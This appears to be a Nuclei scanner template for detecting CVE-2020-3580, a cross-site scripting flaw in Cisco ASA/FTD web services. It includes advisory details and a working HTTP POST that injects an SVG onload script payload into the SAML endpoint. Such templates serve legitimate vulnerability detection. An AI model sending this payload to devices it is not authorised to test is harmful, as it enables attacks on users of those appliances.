id: CVE-2020-3580 info: name: Cisco ASA/FTD Software - Cross-Site Scripting author: pikpikcu severity: medium description: | Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links. remediation: | Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability. reference: - https://twitter.com/ptswarm/status/1408050644460650502 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe - https://nvd.nist.gov/vuln/detail/CVE-2020-3580 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-3580 cwe-id: CWE-79 epss-score: 0.97048 epss-percentile: 0.99693 cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cisco product: firepower_threat_defense tags: cve,cve2020,xss,cisco,kev http: - raw: - | POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502207d4716c38869c564e1564a399ed4e0d71d7490b61a2405e1e4b673d5467fcdce022100d12702d0842c98f6163b30d77533a7dacb3e7104e904b75e46cf61e1ae0a58dd:922c64590222798bb761d5b6d8e72950